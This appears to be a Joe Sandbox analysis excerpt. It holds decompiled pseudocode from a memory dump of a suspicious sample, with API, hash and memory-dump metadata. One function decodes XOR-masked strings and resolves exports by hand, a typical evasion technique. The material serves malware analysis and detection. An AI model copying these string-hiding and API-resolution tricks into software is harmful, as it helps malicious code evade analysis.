					if( *(_t330 - 0x15c) >= ( *(_t330 - 0x148))[0x14]) {
						break;
					}
					L2:
					 *(_t330 - 0x144) = 0xffff;
					 *(_t330 - 0x1bc) = 0;
					if( *((intOrPtr*)(__ebx + 0xc)) > 0xffff) {
						L4:
						if( *((intOrPtr*)(__ebx + 0xc)) <= 0xffff) {
							L7:
							_t203 = 0;
						} else {
							L5:
							_t296 =  *(_t330 - 0x148);
							if( *(_t330 - 0x15c) >= ( *(_t330 - 0x148))[0x18]) {
								goto L7;
							} else {
								L6:
								 *(_t330 - 0x1bc) =  *((intOrPtr*)(__ebx + 8)) +  *((intOrPtr*)( *((intOrPtr*)(_t330 - 0x1c8)) +  *(_t330 - 0x15c) * 4));
								_t296 =  *(_t330 - 0x1cc);
								 *(_t330 - 0x144) =  *((intOrPtr*)( *(_t330 - 0x1cc) +  *(_t330 - 0x15c) * 2));
								goto L8;
							}
						}
					} else {
						L3:
						 *(_t330 - 0x144) =  *(_t330 - 0x15c);
						L8:
						if( *(_t254 + 0xc) > 0xffff) {
							L10:
							if( *(_t254 + 0xc) <= 0xffff) {
								L28:
								continue;
							} else {
								L11:
								 *(_t330 - 0x170) =  *(_t254 + 0xc);
								 *(_t330 - 0x178) =  *(_t330 - 0x1bc);
								while(1) {
									L12:
									_t210 =  *(_t330 - 0x178);
									_t262 =  *_t210;
									 *((char*)(_t330 - 0x149)) = _t262;
									_t296 =  *(_t330 - 0x170);
									if(_t262 !=  *( *(_t330 - 0x170))) {
										break;
									}
									L13:
									if( *((char*)(_t330 - 0x149)) == 0) {
										L16:
										 *(_t330 - 0x1c0) = 0;
									} else {
										L14:
										_t210 =  *(_t330 - 0x178);
										_t293 =  *((intOrPtr*)(_t210 + 1));
										 *((char*)(_t330 - 0x14a)) = _t293;
										_t296 =  *(_t330 - 0x170);
										if(_t293 != ( *(_t330 - 0x170))[1]) {
											break;
										} else {
											L15:
											 *(_t330 - 0x178) =  *(_t330 - 0x178) + 2;
											 *(_t330 - 0x170) =  &(( *(_t330 - 0x170))[2]);
											if( *((char*)(_t330 - 0x14a)) != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									 *(_t330 - 0x1d0) =  *(_t330 - 0x1c0);
									if( *(_t330 - 0x1d0) != 0) {
										goto L28;
									} else {
										goto L19;
									}
									goto L30;
								}
								L17:
								asm("sbb eax, eax");
								 *(_t330 - 0x1c0) = _t210 | 0x00000001;
								goto L18;
							}
						} else {
							L9:
							_t253 =  *(_t330 - 0x148);
							_t296 = ( *(_t330 - 0x144) & 0x0000ffff) + _t253[0x10];
							if(( *(_t254 + 0xc) & 0x0000ffff) == ( *(_t330 - 0x144) & 0x0000ffff) + _t253[0x10]) {
								L19:
								 *(_t330 - 0x164) =  *((intOrPtr*)(_t254 + 8)) +  *((intOrPtr*)( *((intOrPtr*)(_t330 - 0x1d4)) + ( *(_t330 - 0x144) & 0x0000ffff) * 4));
								_t296 =  *(_t330 - 0x164);
								if( *(_t330 - 0x164) <  *(_t330 - 0x148) ||  *(_t330 - 0x164) >  &(( *(_t330 - 0x148))[ *((intOrPtr*)(_t330 - 0x1c4))])) {
									L27:
									break;
								} else {
									L21:
									 *(_t330 - 0x16c) = 0;
									 *(_t330 - 0x160) = 0;
									E009ADBB0(_t328, _t330 - 0x108, 0, 0x100);
									 *(_t330 - 0x174) = 0;
									 *(_t330 - 0x16c) = E009B53F7(_t254, _t328,  *(_t330 - 0x164));
									 *((char*)(_t330 - 0x14b)) = 0;
									 *((char*)(_t330 - 0x14c)) = 0;
									 *((char*)(_t330 - 0x14d)) = 0;
									 *((char*)(_t330 - 0x1a8)) =  *((intOrPtr*)(_t330 - 0x14b));
									 *((char*)(_t330 - 0x1ac)) =  *((intOrPtr*)(_t330 - 0x14c));
									 *((char*)(_t330 - 0x1b0)) =  *((intOrPtr*)(_t330 - 0x14d));
									 *((intOrPtr*)(_t330 - 0x1f0)) = 0x49f5ad09;
									 *((intOrPtr*)(_t330 - 0x1ec)) = 0xb9b7b816;
									 *((intOrPtr*)(_t330 - 0x230)) =  *((intOrPtr*)(_t330 - 0x1f0));
									 *((intOrPtr*)(_t330 - 0x22c)) =  *((intOrPtr*)(_t330 - 0x1ec));
									 *((intOrPtr*)(_t330 - 0x1f8)) = 0x52ee2b68;
									 *((intOrPtr*)(_t330 - 0x1f4)) = 0x3e2c95b7;
									_t89 = _t330 - 0x1f8; // 0x52ee2b68
									 *((intOrPtr*)(_t330 - 0x228)) =  *_t89;
									 *((intOrPtr*)(_t330 - 0x224)) =  *((intOrPtr*)(_t330 - 0x1f4));
									 *((intOrPtr*)(_t330 - 0x19c)) = _t330 - 0x230;
									 *((intOrPtr*)(_t330 - 0x120)) = 0x49f5ad27;
									 *((intOrPtr*)(_t330 - 0x11c)) = 0xb9b7b816;
									 *((intOrPtr*)(_t330 - 0x118)) = 0x52ee2b68;
									 *((intOrPtr*)(_t330 - 0x114)) = 0x3e2c95b7;
									 *((char*)(_t330 - 0x14e)) = 0;
									 *((char*)(_t330 - 0x1b4)) =  *((intOrPtr*)(_t330 - 0x14e));
									asm("movaps xmm0, [ebp-0x120]");
									asm("movaps [ebp-0x260], xmm0");
									asm("movups xmm0, [edx]");
									asm("movaps [ebp-0x2e0], xmm0");
									asm("movaps xmm0, [ebp-0x2e0]");
									asm("pxor xmm0, [ebp-0x260]");
									asm("movaps [ebp-0x270], xmm0");
									asm("movaps xmm0, [ebp-0x270]");
									asm("movups [eax], xmm0");
									 *((intOrPtr*)(_t330 - 0x1d8)) =  *((intOrPtr*)(_t330 - 0x19c));
									 *(_t330 - 0x160) = E009AD5D0( *(_t330 - 0x16c),  *((intOrPtr*)(_t330 - 0x1d8)));
									 *( *(_t330 - 0x160)) = 0;
									 *(_t330 - 0x160) =  &(( *(_t330 - 0x160))[1]);
									lstrcpyA(_t330 - 0x108,  *(_t330 - 0x16c));
									 *((char*)(_t330 - 0x14f)) = 0;
									 *((char*)(_t330 - 0x150)) = 0;
									 *((char*)(_t330 - 0x151)) = 0;
									 *((char*)(_t330 - 0x17c)) =  *((intOrPtr*)(_t330 - 0x14f));
									 *((char*)(_t330 - 0x180)) =  *((intOrPtr*)(_t330 - 0x150));
									 *((char*)(_t330 - 0x184)) =  *((intOrPtr*)(_t330 - 0x151));
									 *(_t330 - 0x200) = 0x2599c909;
									 *((intOrPtr*)(_t330 - 0x1fc)) = 0xb9b7b816;
									 *(_t330 - 0x240) =  *(_t330 - 0x200);
									 *((intOrPtr*)(_t330 - 0x23c)) =  *((intOrPtr*)(_t330 - 0x1fc));
									 *((intOrPtr*)(_t330 - 0x218)) = 0x52ee2b68;
									 *((intOrPtr*)(_t330 - 0x214)) = 0x3e2c95b7;
									_t131 = _t330 - 0x218; // 0x52ee2b68
									 *((intOrPtr*)(_t330 - 0x238)) =  *_t131;
									 *((intOrPtr*)(_t330 - 0x234)) =  *((intOrPtr*)(_t330 - 0x214));
									 *(_t330 - 0x1a0) = _t330 - 0x240;
									 *((intOrPtr*)(_t330 - 0x130)) = 0x49f5ad27;
									 *((intOrPtr*)(_t330 - 0x12c)) = 0xb9b7b816;
									 *((intOrPtr*)(_t330 - 0x128)) = 0x52ee2b68;
									 *((intOrPtr*)(_t330 - 0x124)) = 0x3e2c95b7;
									 *((char*)(_t330 - 0x152)) = 0;
									 *((char*)(_t330 - 0x188)) =  *((intOrPtr*)(_t330 - 0x152));
									asm("movaps xmm0, [ebp-0x130]");
									asm("movaps [ebp-0x290], xmm0");
									asm("movups xmm0, [ecx]");
									asm("movaps [ebp-0x280], xmm0");
									asm("movaps xmm0, [ebp-0x280]");
									asm("pxor xmm0, [ebp-0x290]");
									asm("movaps [ebp-0x2a0], xmm0");
									asm("movaps xmm0, [ebp-0x2a0]");
									asm("movups [edx], xmm0");
									 *(_t330 - 0x1dc) =  *(_t330 - 0x1a0);
									_t296 = _t330 - 0x108;
									lstrcatA(_t330 - 0x108,  *(_t330 - 0x1dc));
									 *(_t330 - 0x174) = GetModuleHandleA(_t330 - 0x108);
									if( *(_t330 - 0x174) != 0) {
										L23:
										 *((char*)(_t330 - 0x153)) = 0;
										 *((char*)(_t330 - 0x154)) = 0;
										 *((char*)(_t330 - 0x155)) = 0;
										 *((char*)(_t330 - 0x18c)) =  *((intOrPtr*)(_t330 - 0x153));
										 *((char*)(_t330 - 0x190)) =  *((intOrPtr*)(_t330 - 0x154));
										 *((char*)(_t330 - 0x194)) =  *((intOrPtr*)(_t330 - 0x155));
										 *((intOrPtr*)(_t330 - 0x208)) = 0x49f5ad04;
										 *((intOrPtr*)(_t330 - 0x204)) = 0xb9b7b816;
										 *((intOrPtr*)(_t330 - 0x250)) =  *((intOrPtr*)(_t330 - 0x208));
										 *((intOrPtr*)(_t330 - 0x24c)) =  *((intOrPtr*)(_t330 - 0x204));
										 *((intOrPtr*)(_t330 - 0x210)) = 0x52ee2b68;
										 *((intOrPtr*)(_t330 - 0x20c)) = 0x3e2c95b7;
										 *((intOrPtr*)(_t330 - 0x248)) =  *((intOrPtr*)(_t330 - 0x210));
										 *((intOrPtr*)(_t330 - 0x244)) =  *((intOrPtr*)(_t330 - 0x20c));
										 *((intOrPtr*)(_t330 - 0x1a4)) = _t330 - 0x250;
										 *((intOrPtr*)(_t330 - 0x140)) = 0x49f5ad27;
										 *((intOrPtr*)(_t330 - 0x13c)) = 0xb9b7b816;
										 *((intOrPtr*)(_t330 - 0x138)) = 0x52ee2b68;
										 *((intOrPtr*)(_t330 - 0x134)) = 0x3e2c95b7;
										 *((char*)(_t330 - 0x156)) = 0;
										 *((char*)(_t330 - 0x198)) =  *((intOrPtr*)(_t330 - 0x156));
										asm("movaps xmm0, [ebp-0x140]");
										asm("movaps [ebp-0x2c0], xmm0");
										asm("movups xmm0, [ecx]");
										asm("movaps [ebp-0x2b0], xmm0");
										asm("movaps xmm0, [ebp-0x2b0]");
										asm("pxor xmm0, [ebp-0x2c0]");
										asm("movaps [ebp-0x2d0], xmm0");
										asm("movaps xmm0, [ebp-0x2d0]");
										asm("movups [edx], xmm0");
										 *((intOrPtr*)(_t330 - 0x1e0)) =  *((intOrPtr*)(_t330 - 0x1a4));
										_t324 =  *(_t330 - 0x160);
										if(E009AD5D0( *(_t330 - 0x160),  *((intOrPtr*)(_t330 - 0x1e0))) != 0) {
											 *((intOrPtr*)(_t330 - 0x1e4)) = E009B53B8( &(( *(_t330 - 0x160))[1]), _t328,  &(( *(_t330 - 0x160))[1]));
											_push( *((intOrPtr*)(_t330 - 0x1e4)));
											_push( *(_t330 - 0x174));
											 *(_t330 - 0x164) = E0099F790( &(( *(_t330 - 0x160))[1]), _t328, _t329);
										} else {
											_push( *(_t330 - 0x160));
											_push( *(_t330 - 0x174));
											 *(_t330 - 0x164) = E0099F790(_t324, _t328, _t329);
										}
										L26:
										_t296 =  *(_t330 - 0x16c);
										E009B544B( *(_t330 - 0x16c));
										goto L27;
									} else {
										L22:
										E009B544B( *(_t330 - 0x16c));
										_t203 = 0;
									}
								}
							} else {
								goto L10;
							}
						}
					}
					L30:
					return E009AC2E8(_t203, _t254,  *(_t330 - 4) ^ _t330, _t296, _t328, _t329);
					L31:
				}
				L29:
				_t203 =  *(_t330 - 0x164);
				goto L30;
			}

0x0099f8d7
0x0099f8d7
0x0099f8d7
0x0099f8d7
0x0099f8d7
0x0099f8d7
0x0099f8e0
0x0099f8ec
0x0099f8f5
0x00000000
0x00000000
0x0099f8fb
0x0099f900
0x0099f907
0x0099f918
0x0099f92a
0x0099f931
0x0099f975
0x0099f975
0x0099f933
0x0099f933
0x0099f933
0x0099f942
0x00000000
0x0099f944
0x0099f944
0x0099f956
0x0099f962
0x0099f96c
0x00000000
0x0099f96c
0x0099f942
0x0099f91a
0x0099f91a
0x0099f921
0x0099f97c
0x0099f983
0x0099f9a1
0x0099f9a8
0x0099ff6c
0x00000000
0x0099f9ae
0x0099f9ae
0x0099f9b1
0x0099f9bd
0x0099f9c3
0x0099f9c3
0x0099f9c3
0x0099f9c9
0x0099f9cb
0x0099f9d1
0x0099f9d9
0x00000000
0x00000000
0x0099f9db
0x0099f9e2
0x0099fa15
0x0099fa15
0x0099f9e4
0x0099f9e4
0x0099f9e4
0x0099f9ea
0x0099f9ed
0x0099f9f3
0x0099f9fc
0x00000000
0x0099f9fe
0x0099f9fe
0x0099f9fe
0x0099fa05
0x0099fa13
0x00000000
0x00000000
0x00000000
0x00000000
0x0099fa13
0x0099f9fc
0x0099fa2c
0x0099fa32
0x0099fa3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0099fa3f
0x0099fa21
0x0099fa21
0x0099fa26
0x00000000
0x0099fa26
0x0099f985
0x0099f985
0x0099f990
0x0099f996
0x0099f99b
0x0099fa45
0x0099fa58
0x0099fa5e
0x0099fa6a
0x0099ff6a
0x00000000
0x0099fa88
0x0099fa88
0x0099fa88
0x0099fa92
0x0099faaa
0x0099fab2
0x0099facb
0x0099fad3
0x0099fadb
0x0099fae3
0x0099faef
0x0099fafb
0x0099fb07
0x0099fb12
0x0099fb1c
0x0099fb2e
0x0099fb34
0x0099fb3f
0x0099fb49
0x0099fb4f
0x0099fb5b
0x0099fb61
0x0099fb6d
0x0099fb78
0x0099fb82
0x0099fb8d
0x0099fb97
0x0099fb9f
0x0099fbab
0x0099fbb1
0x0099fbb8
0x0099fbc5
0x0099fbc8
0x0099fbcf
0x0099fbd6
0x0099fbde
0x0099fbe5
0x0099fbf2
0x0099fbfb
0x0099fc17
0x0099fc23
0x0099fc2f
0x0099fc43
0x0099fc4b
0x0099fc53
0x0099fc5b
0x0099fc67
0x0099fc73
0x0099fc7f
0x0099fc8a
0x0099fc94
0x0099fca6
0x0099fcac
0x0099fcb7
0x0099fcc1
0x0099fcc7
0x0099fcd3
0x0099fcd9
0x0099fce5
0x0099fcf0
0x0099fcfa
0x0099fd05
0x0099fd0f
0x0099fd17
0x0099fd23
0x0099fd29
0x0099fd30
0x0099fd3d
0x0099fd40
0x0099fd47
0x0099fd4e
0x0099fd56
0x0099fd5d
0x0099fd6a
0x0099fd73
0x0099fd80
0x0099fd87
0x0099fd9a
0x0099fda7
0x0099fdbf
0x0099fdc1
0x0099fdc9
0x0099fdd1
0x0099fddd
0x0099fde9
0x0099fdf5
0x0099fe00
0x0099fe0a
0x0099fe1c
0x0099fe22
0x0099fe2d
0x0099fe37
0x0099fe49
0x0099fe4f
0x0099fe5b
0x0099fe66
0x0099fe70
0x0099fe7b
0x0099fe85
0x0099fe8d
0x0099fe99
0x0099fe9f
0x0099fea6
0x0099feb3
0x0099feb6
0x0099febd
0x0099fec4
0x0099fecc
0x0099fed3
0x0099fee0
0x0099fee9
0x0099fef6
0x0099ff07
0x0099ff39
0x0099ff45
0x0099ff4c
0x0099ff55
0x0099ff09
0x0099ff0f
0x0099ff16
0x0099ff1f
0x0099ff1f
0x0099ff5b
0x0099ff5b
0x0099ff62
0x00000000
0x0099fda9
0x0099fda9
0x0099fdb0
0x0099fdb8
0x0099fdb8
0x0099fda7
0x00000000
0x00000000
0x00000000
0x0099f99b
0x0099f983
0x0099ff77
0x0099ff87
0x00000000
0x0099ff87
0x0099ff71
0x0099ff71
0x00000000

Strings

h+R, xrefs: 0099FB8D
h+R, xrefs: 0099FCC7
h+R, xrefs: 0099FB4F
h+R, xrefs: 0099FCB7
h+R, xrefs: 0099FD05
h+R, xrefs: 0099FB3F

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID:
String ID: h+R$h+R$h+R$h+R$h+R$h+R
API String ID: 0-1702798749
Opcode ID: 42e877db587708dc5feaa549b7333831826d97ec24c164e037f600e76507bdd4
Instruction ID: 58a0aca893aeb80d68ff927e210908571284f952eaf9e56b5e71eef6958c894c
Opcode Fuzzy Hash: 42e877db587708dc5feaa549b7333831826d97ec24c164e037f600e76507bdd4
Instruction Fuzzy Hash: 31D1B074D096A88BDB66CF288C947E9FBB1AF5A304F0481E9D88DA7251E7305EC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00974030 Relevance: 13.7, APIs: 9, Instructions: 180
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00974030(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v48;
				signed int _v52;
				char _v53;
				void* _v60;
				void* _v64;
				intOrPtr* _v68;
				void* _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				void* _v96;
				signed int _t86;
				signed int _t87;
				intOrPtr _t92;
				void* _t94;
				intOrPtr _t98;
				intOrPtr _t106;
				signed int _t164;

				_t163 = __esi;
				_t162 = __edi;
				_t120 = __ebx;
				_t86 =  *0x9d2008; // 0x9fef24bf
				_t87 = _t86 ^ _t164;
				_v20 = _t87;
				 *[fs:0x0] =  &_v16;
				_v52 = 0;
				E00971810( &_v44, 0x9ccb4a);
				_v8 = 0;
				_v48 = 0;
				_v96 = 0;
				_v72 = 0;
				_v60 = 0;
				_v64 = 0;
				_v72 = LocalAlloc(0x40, 0x1c);
				 *_v72 = 0x1c;
				_t92 = _a8;
				__imp__SetupDiEnumDeviceInfo(_t92, _a12, _v72, _t87,  *[fs:0x0], 0x9c4aad, 0xffffffff);
				if(_t92 != 0) {
					_v60 = LocalAlloc(0x40, 0x1c);
					 *_v60 = 0x1c;
					_t94 = _v60;
					__imp__SetupDiEnumDeviceInterfaces(_a8, 0, 0x9c7210, _a12, _t94);
					if(_t94 != 0) {
						__imp__SetupDiGetDeviceInterfaceDetailA(_a8, _v60, 0, 0,  &_v48, 0);
						_v64 = E009B53AD();
						 *_v64 = 5;
						_t157 = _v60;
						_t98 = _a8;
						__imp__SetupDiGetDeviceInterfaceDetailA(_t98, _v60, _v64, _v48, 0, 0, _v48);
						if(_t98 != 0) {
							_v76 = _v64 + 4;
							_v68 = _v76;
							_v80 = _v68 + 1;
							do {
								_v53 =  *_v68;
								_v68 = _v68 + 1;
							} while (_v53 != 0);
							_v84 = _v68 - _v80;
							_v88 = _v84;
							_v92 = _v88;
							_t157 = _v76;
							E00971C50(__ebx,  &_v44, __edi, __esi, _v76, _v92);
							if(_v72 != 0) {
								LocalFree(_v72);
							}
							if(_v60 != 0) {
								LocalFree(_v60);
							}
							if(_v64 != 0) {
								_t157 = _v64;
								LocalFree(_v64);
							}
							E00971790(_a4,  &_v44);
							_v52 = _v52 | 0x00000001;
							_v8 = 0xffffffff;
							E00971AB0( &_v44);
							_t106 = _a4;
						} else {
							E00971810(_a4, 0x9ccb4d);
							_v52 = _v52 | 0x00000001;
							_v8 = 0xffffffff;
							E00971AB0( &_v44);
							_t106 = _a4;
						}
					} else {
						E00971810(_a4, 0x9ccb4c);
						_v52 = _v52 | 0x00000001;
						_v8 = 0xffffffff;
						E00971AB0( &_v44);
						_t106 = _a4;
					}
				} else {
					E00971810(_a4, 0x9ccb4b);
					_v52 = _v52 | 0x00000001;
					_v8 = 0xffffffff;
					E00971AB0( &_v44);
					_t106 = _a4;
				}
				 *[fs:0x0] = _v16;
				return E009AC2E8(_t106, _t120, _v20 ^ _t164, _t157, _t162, _t163);
			}

0x00974030
0x00974030
0x00974030
0x00974044
0x00974049
0x0097404b
0x00974052
0x00974058
0x00974067
0x0097406c
0x00974073
0x0097407a
0x00974081
0x00974088
0x0097408f
0x009740a0
0x009740a6
0x009740b4
0x009740b8
0x009740c0
0x009740f9
0x009740ff
0x00974105
0x00974118
0x00974120
0x00974161
0x00974173
0x00974179
0x0097418b
0x0097418f
0x00974193
0x0097419b
0x009741d0
0x009741d6
0x009741df
0x009741e2
0x009741e7
0x009741ea
0x009741ee
0x009741fa
0x00974200
0x00974206
0x0097420d
0x00974214
0x0097421d
0x00974223
0x00974223
0x0097422d
0x00974233
0x00974233
0x0097423d
0x0097423f
0x00974243
0x00974243
0x00974250
0x0097425b
0x0097425e
0x00974268
0x0097426d
0x0097419d
0x009741a5
0x009741b0
0x009741b3
0x009741bd
0x009741c2
0x009741c2
0x00974122
0x0097412a
0x00974135
0x00974138
0x00974142
0x00974147
0x00974147
0x009740c2
0x009740ca
0x009740d5
0x009740d8
0x009740e2
0x009740e7
0x009740e7
0x00974273
0x00974288

APIs

LocalAlloc.KERNEL32(00000040,0000001C), ref: 0097409A
SetupDiEnumDeviceInfo.SETUPAPI(?,?,00000000), ref: 009740B8
LocalAlloc.KERNEL32(00000040,0000001C), ref: 009740F3
SetupDiEnumDeviceInterfaces.SETUPAPI(?,00000000,009C7210,?,00000000), ref: 00974118

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AllocDeviceEnumLocalSetup$InfoInterfaces
String ID:
API String ID: 1562706109-0
Opcode ID: bbb1db71cb9c5e72635b85657d9037f807bb320bd54bdf316029dd16a3fd317c
Instruction ID: cd6485cb548f4792e26037a2a00b34bd6a9b075e83eff9bfab2e2fbcfc336123
Opcode Fuzzy Hash: bbb1db71cb9c5e72635b85657d9037f807bb320bd54bdf316029dd16a3fd317c
Instruction Fuzzy Hash: 2B71C3B1E04208EBDB18DFE8D895FDEBBB4BB48710F108219F519AB291DB74A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 009ADA50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E009ADA50(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				signed char _v36;
				void* _v40;
				signed int _t77;
				signed int _t84;
				intOrPtr _t85;
				void* _t86;
				intOrPtr* _t87;
				intOrPtr _t89;
				signed int _t91;
				int _t93;
				signed int _t98;
				intOrPtr* _t102;
				intOrPtr _t103;
				signed int _t107;
				char _t109;
				signed int _t113;
				void* _t114;
				intOrPtr _t123;
				void* _t125;
				intOrPtr _t133;
				signed int _t135;
				void* _t139;
				void* _t141;
				void* _t149;

				_t118 = __edx;
				_t102 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t102 = E009C4637(__ecx,  *_t102);
				_t103 = _a8;
				_t6 = _t103 + 0x10; // 0x11
				_t133 = _t6;
				_push(_t133);
				_v20 = _t133;
				_v12 =  *(_t103 + 8) ^  *0x9d2008;
				E009ADA10(_t103, __edx, __edi, _t133,  *(_t103 + 8) ^  *0x9d2008);
				E009AEBCC(_a12);
				_t77 = _a4;
				_t141 = _t139 - 0x1c + 0x10;
				_t123 =  *((intOrPtr*)(_t103 + 0xc));
				if(( *(_t77 + 4) & 0x00000066) != 0) {
					__eflags = _t123 - 0xfffffffe;
					if(_t123 != 0xfffffffe) {
						_t118 = 0xfffffffe;
						E009AEDC0(_t103, 0xfffffffe, _t133, 0x9d2008);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t77;
					_v28 = _a12;
					 *((intOrPtr*)(_t103 - 4)) =  &_v32;
					if(_t123 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t107 = _v12;
							_t84 = _t123 + (_t123 + 2) * 2;
							_t103 =  *((intOrPtr*)(_t107 + _t84 * 4));
							_t85 = _t107 + _t84 * 4;
							_t108 =  *((intOrPtr*)(_t85 + 4));
							_v24 = _t85;
							if( *((intOrPtr*)(_t85 + 4)) == 0) {
								_t109 = _v5;
								goto L7;
							} else {
								_t118 = _t133;
								_t86 = E009AED60(_t108, _t133);
								_t109 = 1;
								_v5 = 1;
								_t149 = _t86;
								if(_t149 < 0) {
									_v16 = 0;
									L13:
									_push(_t133);
									E009ADA10(_t103, _t118, _t123, _t133, _v12);
									goto L14;
								} else {
									if(_t149 > 0) {
										_t87 = _a4;
										__eflags =  *_t87 - 0xe06d7363;
										if( *_t87 == 0xe06d7363) {
											__eflags =  *0x9c72b4;
											if(__eflags != 0) {
												_t98 = E009C3070(__eflags, 0x9c72b4);
												_t141 = _t141 + 4;
												__eflags = _t98;
												if(_t98 != 0) {
													_t135 =  *0x9c72b4; // 0x9ad406
													 *0x9c71bc(_a4, 1);
													 *_t135();
													_t133 = _v20;
													_t141 = _t141 + 8;
												}
												_t87 = _a4;
											}
										}
										_t119 = _t87;
										E009AEDA0(_t87, _a8, _t87);
										_t89 = _a8;
										__eflags =  *((intOrPtr*)(_t89 + 0xc)) - _t123;
										if( *((intOrPtr*)(_t89 + 0xc)) != _t123) {
											_t119 = _t123;
											E009AEDC0(_t89, _t123, _t133, 0x9d2008);
											_t89 = _a8;
										}
										_push(_t133);
										 *((intOrPtr*)(_t89 + 0xc)) = _t103;
										E009ADA10(_t103, _t119, _t123, _t133, _v12);
										E009AED80();
										asm("int3");
										asm("int3");
										asm("int3");
										_t113 = _v32;
										_t91 = _v36 & 0x000000ff;
										_t125 = _v40;
										__eflags = _t113;
										if(_t113 == 0) {
											L46:
											return _v40;
										} else {
											_t93 = _t91 * 0x1010101;
											__eflags = _t113 - 0x20;
											if(_t113 <= 0x20) {
												L39:
												__eflags = _t113 & 0x00000003;
												while((_t113 & 0x00000003) != 0) {
													 *_t125 = _t93;
													_t125 = _t125 + 1;
													_t113 = _t113 - 1;
													__eflags = _t113 & 0x00000003;
												}
												__eflags = _t113 & 0x00000004;
												if((_t113 & 0x00000004) != 0) {
													 *_t125 = _t93;
													_t125 = _t125 + 4;
													_t113 = _t113 - 4;
													__eflags = _t113;
												}
												__eflags = _t113 & 0xfffffff8;
												while((_t113 & 0xfffffff8) != 0) {
													 *_t125 = _t93;
													 *(_t125 + 4) = _t93;
													_t125 = _t125 + 8;
													_t113 = _t113 - 8;
													__eflags = _t113 & 0xfffffff8;
												}
												goto L46;
											} else {
												__eflags = _t113 - 0x80;
												if(__eflags < 0) {
													L33:
													asm("bt dword [0x9d200c], 0x1");
													if(__eflags >= 0) {
														goto L39;
													} else {
														asm("movd xmm0, eax");
														asm("pshufd xmm0, xmm0, 0x0");
														goto L35;
													}
												} else {
													asm("bt dword [0x9d2e8c], 0x1");
													if(__eflags >= 0) {
														asm("bt dword [0x9d200c], 0x1");
														if(__eflags >= 0) {
															goto L39;
														} else {
															asm("movd xmm0, eax");
															asm("pshufd xmm0, xmm0, 0x0");
															_t114 = _t125 + _t113;
															asm("movups [edi], xmm0");
															_t125 = _t125 + 0x00000010 & 0xfffffff0;
															_t113 = _t114 - _t125;
															__eflags = _t113 - 0x80;
															if(__eflags <= 0) {
																goto L33;
															} else {
																do {
																	asm("movdqa [edi], xmm0");
																	asm("movdqa [edi+0x10], xmm0");
																	asm("movdqa [edi+0x20], xmm0");
																	asm("movdqa [edi+0x30], xmm0");
																	asm("movdqa [edi+0x40], xmm0");
																	asm("movdqa [edi+0x50], xmm0");
																	asm("movdqa [edi+0x60], xmm0");
																	asm("movdqa [edi+0x70], xmm0");
																	_t125 = _t125 + 0x80;
																	_t113 = _t113 - 0x80;
																	__eflags = _t113 & 0xffffff00;
																} while ((_t113 & 0xffffff00) != 0);
																L35:
																__eflags = _t113 - 0x20;
																if(_t113 < 0x20) {
																	L38:
																	asm("movdqu [edi], xmm0");
																	asm("movdqu [edi+0x10], xmm0");
																	return _v40;
																} else {
																	do {
																		asm("movdqu [edi], xmm0");
																		asm("movdqu [edi+0x10], xmm0");
																		_t125 = _t125 + 0x20;
																		_t113 = _t113 - 0x20;
																		__eflags = _t113 - 0x20;
																	} while (_t113 >= 0x20);
																	__eflags = _t113 & 0x0000001f;
																	if((_t113 & 0x0000001f) == 0) {
																		goto L46;
																	} else {
																		goto L38;
																	}
																}
															}
														}
													} else {
														memset(_t125, _t93, _t113 << 0);
														return _v40;
													}
												}
											}
										}
									} else {
										goto L7;
									}
								}
							}
							goto L47;
							L7:
							_t123 = _t103;
						} while (_t103 != 0xfffffffe);
						if(_t109 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L47:
			}

0x009ada50
0x009ada57
0x009ada5b
0x009ada5c
0x009ada62
0x009ada6e
0x009ada70
0x009ada76
0x009ada76
0x009ada7f
0x009ada81
0x009ada84
0x009ada87
0x009ada8f
0x009ada94
0x009ada97
0x009ada9a
0x009adaa1
0x009adafd
0x009adb00
0x009adb08
0x009adb0f
0x00000000
0x009adb0f
0x00000000
0x009adaa3
0x009adaa3
0x009adaa9
0x009adaaf
0x009adab5
0x009adb20
0x009adb29
0x009adab7
0x009adab7
0x009adab7
